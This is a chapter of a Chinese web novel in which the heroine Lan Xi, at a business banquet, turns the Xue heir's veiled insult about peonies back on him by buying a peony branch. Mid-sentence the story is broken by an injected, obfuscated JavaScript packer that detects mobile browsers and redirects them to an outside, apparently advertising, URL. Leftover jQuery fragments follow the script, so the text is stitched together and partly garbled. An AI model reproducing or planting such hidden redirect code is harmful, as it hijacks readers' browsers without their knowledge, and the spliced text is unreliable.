3. 被觊觎的假千金(3)

作品:《这恶女她当定了[快穿]

    窗口灌入一阵强风,桌上摊开的书吹得哗啦翻动。


    兰溪坐在教室靠窗的位置,心不在焉按住乱飞的书页。


    距离觉醒剧情已经过去两周,她从一开始的慌乱,到现在已经冷静下来。


    悄悄拿去做的亲子鉴定结果出来了,陆灼是江家的孩子,确认无疑。


    而她果真和剧情里一样,与江父江母任何一方都没有血缘关系。


    但就像陆灼说的那样,她什么都不需要做,只用等他主动离开。


    兰溪越是主动出击,反而越容易引起江家注意。


    这段时间她远离陆灼后,魏芸果然就没再关注过这个人。


    学校里越来越少人提起陆灼的名字,再加上他本身行事低调,短短两周就已经淡出了众人视线。仿佛他和兰溪的事,已经是上个世纪的旧闻。


    这样就很好。


    维持现在这个状态,直到三个月后,陆灼和这个秘密都会从她的世界里永远消失。


    昏昏欲睡的课堂上,兰溪撑着下巴如是想着。


    窗外树影摇曳,湖面上闪动的金鳞有些刺眼。


    熟悉的身影闯入她的视野,和那个暴雨天一样的清贫,挺拔。


    不同的是今天是个艳阳天,日光加深了他的轮廓,落在他身上的阴影也更清晰了。


    看着他逐渐走远的背影,兰溪缓缓收回视线。


    下课铃声适时响起。


    兰溪今晚还要参加一场晚宴,一下课她就收拾东西离开。


    不同于上次的慈善晚宴,这场宴会是江氏的重要合作伙伴举办,各界名流皆会到场,就连魏芸也很重视这场商业晚宴。


    为此她早早就给兰溪安排好了造型师,从发型妆容到礼服首饰,全部由魏芸拍板决定。


    做好妆造时,外面的天色已经暗了下来。


    车灯光束划破黑夜,一辆接一辆的顶级豪车驶向幽静的山林,声势浩大。


    半山腰坐落着一座灯火辉煌的庄园,门童快步上前为来宾拉开车门。


    红底高跟鞋踏在地毯上,魏芸一身廓形硬挺的黑西服套装,优雅从容地从车内下来。


    兰溪紧跟其后,一同进入了宴会正厅。


    今晚虽然不是江家的主场,但江氏庞大的体量摆在那里,立刻就吸引了众人目光,不少人上前主动寒暄。


    在魏芸身边兰溪总会比平时乖巧一些,她昂着颀长的脖颈,脸上始终保持着优雅得体的微笑。


    华丽的水晶吊灯下,香槟色礼裙勾勒出她曼妙的腰线,随着步伐摇曳,裙面折射出碎钻般璀璨的光点,熠熠生辉。


    魏芸的品味一向很好,此刻的兰溪就像一朵精心护养的温室玫瑰,含苞待放,散发着名贵而馥郁的香气。


    ——不愧是江氏千金。


    这大概是所有人见到兰溪第一眼的印象。


    人群中走来一个面容儒雅的中年男子,他笑着和魏芸打招呼。


    “魏总。”


    “原来薛总早就到了。”魏芸和他客气地握了握手。


    兰溪认识这个中年男人,是薛家的掌舵人薛伦。


    薛家是制药业的龙头企业,也是底蕴深厚的百年世家。只不过近些年薛家一直在走下坡路,于是联合多个老牌家族报团取暖,成立了睿明资本,薛伦则是睿明的话事人。


    江氏集团目前正准备和睿明共同收购某大型集团,薛家在睿明占主导地位,自然而然的,江家这段时间和薛家走得越来越近。


    “江总应该快回国了吧?”薛伦笑着问。


    魏芸点头:“快了,差不多下个月就能回国。”


    他口中的江总自然是指江父。江父在海外处理的几个项目都已经到收尾阶段,等他回国差不多收购案就要正式启动了。


    接下来两家不仅会深度捆绑合作,甚至还有联姻的打算。


    但觉醒了剧情的兰溪很清楚,薛家这次合作根本没安好心。


    剧情里薛家在收购过程中悄悄给江家埋雷,收购案最后虽然成功了,江氏却资金链断裂,导致其他项目陆续出现问题。


    江氏集团遭受重创,薛家企图趁乱吞下江氏的部分产业。


    按照剧情发展,接着就是陆灼刚好被认回了江家,关键时刻他力挽狂澜,解决了这次的危机。


    让陆灼回江家解决危机?想都别想。


    她一定要想办法揭穿薛家的阴谋,最好能直接破坏掉两家的合作。


    兰溪一双漂亮的杏眼滴溜溜打转。


    魏芸像是能看出她在憋坏,一个警告的眼神淡淡扫来,兰溪蠢蠢欲动的心立刻就老实了。


    她清楚魏芸的性格,在摆出证据前绝对不会允许她捣乱的。


    “这里人多眼杂,魏总我们不如到安静点的地方细谈?”薛伦提议。


    魏芸没有拒绝,三人去到一间安静的休息室。


    休息室里已经坐着好几个睿明资本的家族代表,坐在最中间的是薛家老爷子。


    薛老爷子前两年就已经退居幕后,将权柄交到薛伦手中。这次亲自到场,足以见得对睿明和江氏集团联合收购的重视。


    看起来慈眉善目的老头眯起眼,笑着问兰溪:“这是江家的小丫头吧?上次见还是个奶娃娃,一晃眼都出落得亭亭玉立了。”


    他语气和蔼,像极了一位许久未见的亲切长辈。但真实情况却是两家来往极少,甚至放到二十年前薛家风头正盛,都不会拿正眼瞧江家这样的暴发户一眼。


    江家是在江爷爷那一辈富起来的,和薛家传承了几百年的豪门世家比起来,可不就属于暴发户。


    也就是薛家现在日渐式微,才不得不捏着鼻子和江家合作,饶是这样还不忘算计江氏一波。


    兰溪没有戳破这层虚伪,笑着和薛老爷子打招呼。


    这休息室里各个都是人精,不管心里装着什么算计,面上都是一团和气。


    当然也有个功力不行的,从兰溪进门起就臭着一张脸。


    兰溪看向站在薛老爷子身后的人,约莫二十出头,模样和薛伦有几分相似,因着正是年轻气盛的年纪,眉眼又多了几分桀骜。


    他身量不是很高,但一身笔挺的高级手工定制西装将他衬得气质贵雅。


    这人兰溪认识,薛景修,是薛伦的大儿子,也是剧情里兰溪的“联姻对象”。


    兰溪在观察他的同时,他也正用挑剔的目光打量兰溪。


    二人视线在空中相撞,毫不意外在对方眼中看到了难以掩藏的嫌弃。


    “两个年轻人就别在这里拘着了。”薛老爷子发话,“景修,带江家丫头出去逛逛吧。”


    对上室内众人颇具深意的笑容,兰溪忽然就反应过来,这是在故意给两人单独相处的机会,变相的相亲啊。


    她看了眼魏芸,拒绝的话到嘴边了又咽了回去,最终什么也没说离开了休息室。


    “两孩子年纪也差不多,站在一起还真是郎才女貌……”


    房门一关,将交谈声隔绝在了屋内。


    薛景修在她身边莫名其妙冷哼了一声,兰溪懒得搭理,径直往庄园外的檐廊走去。


    夜晚山间温度偏凉,兰溪深吸了一口新鲜空气,整个人都更清醒了。


    “果然是金钱养人呐。”薛景修不知何时跟了过来,“原本六分的清秀长相用金钱可以堆养出九分绝色,有钱还真是好啊。”


    他在兰溪身边站定,怕她听不懂似的,又阴阳怪气补充:“总听说江家人各个都是俊男美女,百闻不如一见,看起来江小姐并没有遗传到父母的美貌,可惜了。”


    兰溪掀起眼皮,不痛不痒道:“是啊,我可不像薛少,脸是遗传到了,脑子却没遗传上。”


    薛景修冷笑了声:“我只不过是在陈述客观事实,江大小姐就恼羞成怒,开始进行毫无逻辑的人身攻击了?”


    兰溪:“你怎么确定我说的不是事实?要不证明一下。”


    证明什么?证明他不是没脑子?


    这是在耍猴呢,薛景修深吸一口气:“你真觉得你一个A大艺术生,有资格跟MBA说这种话?”


    “有问题吗?再怎样我也是达到了分数线,正儿八经考进A大的,不丢人。还是说我必须要像你一样,得先找个国外名校捐栋楼再入学才行?”


    兰溪理直气壮。大家都是在镀金混文凭,怎么还让他凹上学霸人设了。


    “你还真和传闻里一样,蛮横无理。”薛景修咬牙切齿,胸口剧烈起伏,显然是被气得不轻。


    兰溪无所谓地耸了耸肩。谁让他非要犯贱来招惹她?


    气氛瞬间降至冰点。


    华灯透过拱窗投在室外的台阶上,室内觥筹交错,溢出的细语交谈声更衬得檐廊下的气氛紧绷。


    在这种情况下,兰溪还生出闲情雅致,欣赏起檐廊外的花坛造景。


    花坛里栽种的主要是粉白的芍药,正是芍药花开得最盛的时节,微风拂过,送来一阵淡雅的清香。


    薛景修顺着她的视线看过去,恰好看见一个侍应生走向花坛。


    他站在大片芍药花前犹犹豫豫,纠结了半天终于做出决定,将手伸向了被芍药簇拥在中间的花树。


    花树很高也很显眼,盛开着大朵大朵的粉花,花瓣娇嫩层层叠叠,和芍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108269|163993||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    药很像,但又要大上许多。


    “你在干什么?”薛景修语气阴沉,怒火还没消。


    冷不丁被人呵斥,侍应生吓得手一抖,直接将花折了下来。


    “我,我……”侍应生面容稚嫩,紧张得说话都有些结巴,“是宴会厅里有位女士说芍药花开得不错,让我来摘一朵。”


    “芍药?”薛景修冷嗤一声,“你确定你摘的是朵芍药?”


    “啊?不是吗?”侍应生一脸茫然。


    “连牡丹和芍药都分不清,真是个没见识的蠢货。这棵牡丹树至少得有两百年吧?这种品相少说也要三十万,是芍药能比的吗?”


    他面露鄙夷,又像是想到了什么,话音突然一转:“不过也没关系,我现在来教教你,以后就能分清楚了。”


    侍应生以为自己闯出了什么大祸,慌张中下意识点头,认真聆听。


    薛景修眼里精光闪过,单手插兜,意味深长道:“要分清牡丹和芍药,其实很简单。它们一个是木本,一个是草本。”


    “你就看那生得高,花朵大且优雅的,就是高贵的牡丹,而生得矮,花朵小还艳俗,那就是廉价的芍药。”


    “其实分不清也不能怪你,要怪就怪这芍药故意混淆视线,妄图和牡丹争奇斗艳。可装得再像,也注定是云泥之别。遇上识货的人,一眼就能分出高低贵贱。”


    他话音一顿,似笑非笑看向兰溪,“你说是吧,江大小姐?”


    檐廊下渐渐聚集起人群,都是被薛景修的声音吸引过来的。


    他话音上扬,恰好能让在场所有人听见。


    至于话里藏着什么意思,傻子都听出来了。可不就是在含沙射影,拐着弯羞辱贬低江家嘛。


    众人的目光变得微妙起来。


    “有区别吗?”兰溪平静地抬头,鬓边一缕发丝在晚风中柔然地勾住她尖尖的下巴。


    “什么?”


    没料到她是这种反应,薛景修愣了一下。


    “我说,不管是三十万还是三十块,有区别吗?”


    薛景修的笑容僵在脸上。


    兰溪的视线略过他,在人群中搜寻了一圈,找到了宴会的主办方,也是这座庄园的主人。


    她嘴角漾起笑,问胖乎乎的庄园主人:“我能买下这牡丹吗?”


    “当然可以。”庄园主人爽朗应下。


    这种时候他很乐意配合江家,卖一个人情。


    “江小姐要是喜欢,送给你就是了。”


    “送就不必了,我不喜欢占人便宜,还是开个价吧。”兰溪对不远处的江家助理招了招手。


    庄园主人也不强求,让人评估后报了个价,正正好是薛景修说的三十万。


    助理立刻递上了支票本和笔,她行云流水填上数字,撕下支票递了过去。


    庄园主人笑呵呵道:“江小姐准备把这棵牡丹树种哪里?我这就叫人挖出来。”


    “这种百年老树就别轻易挪根了,不然死了怪可惜的。我就要那一枝就行了。”她指了指侍应生手里那朵牡丹。


    “好花配美人,帮我将这朵花送给那位女士吧。”她笑眯着眼道。


    侍应生连忙点头,小心翼翼捧着这朵价值三十万的牡丹,送到了最开始让他来摘花的女人面前。


    美艳动人的女人笑着拈起牡丹,轻轻对兰溪晃了晃,以示感谢。


    二楼的魏芸和薛伦也听见动静走了出来。


    这场闹剧看到这里,薛伦的脸色已经不太好看。


    他皱着眉准备下楼,却被魏芸叫住。


    “薛总,孩子间的小打小闹我们大人就不必插手了吧?”


    薛伦勉强牵起嘴角,有点皮笑肉不笑的意味:“我也是怕两个孩子小打小闹不知道轻重,失了分寸。”


    魏芸挑了挑眉,勾起红唇:“兰溪这孩子有时候是激进了点,吃不得一点亏。不过只要不去主动招惹她,她也不会没事找事给人难堪。”


    她端着香槟,指腹轻轻摩挲着杯沿,虽然在笑,眸色却是清冷的。


    这句话的另一个意思,就是说你儿子没事招惹她干嘛?


    薛伦眼皮抽了抽,一时无言,只沉默地将杯中酒一饮而尽。


    一名侍应生经过,兰溪从托盘里端起一杯香槟,和执花美人遥遥举杯示意。


    她转过身,重新看向脸色铁青的薛景修,笑容愈发真诚灿烂。


    “我发现你有句话说得挺对的。”


    “有钱可真好啊。”


    她眨了眨眼,自顾自与薛景修手里的酒杯轻轻碰了一下。


    “叮”的一声,发出清脆的碰撞声。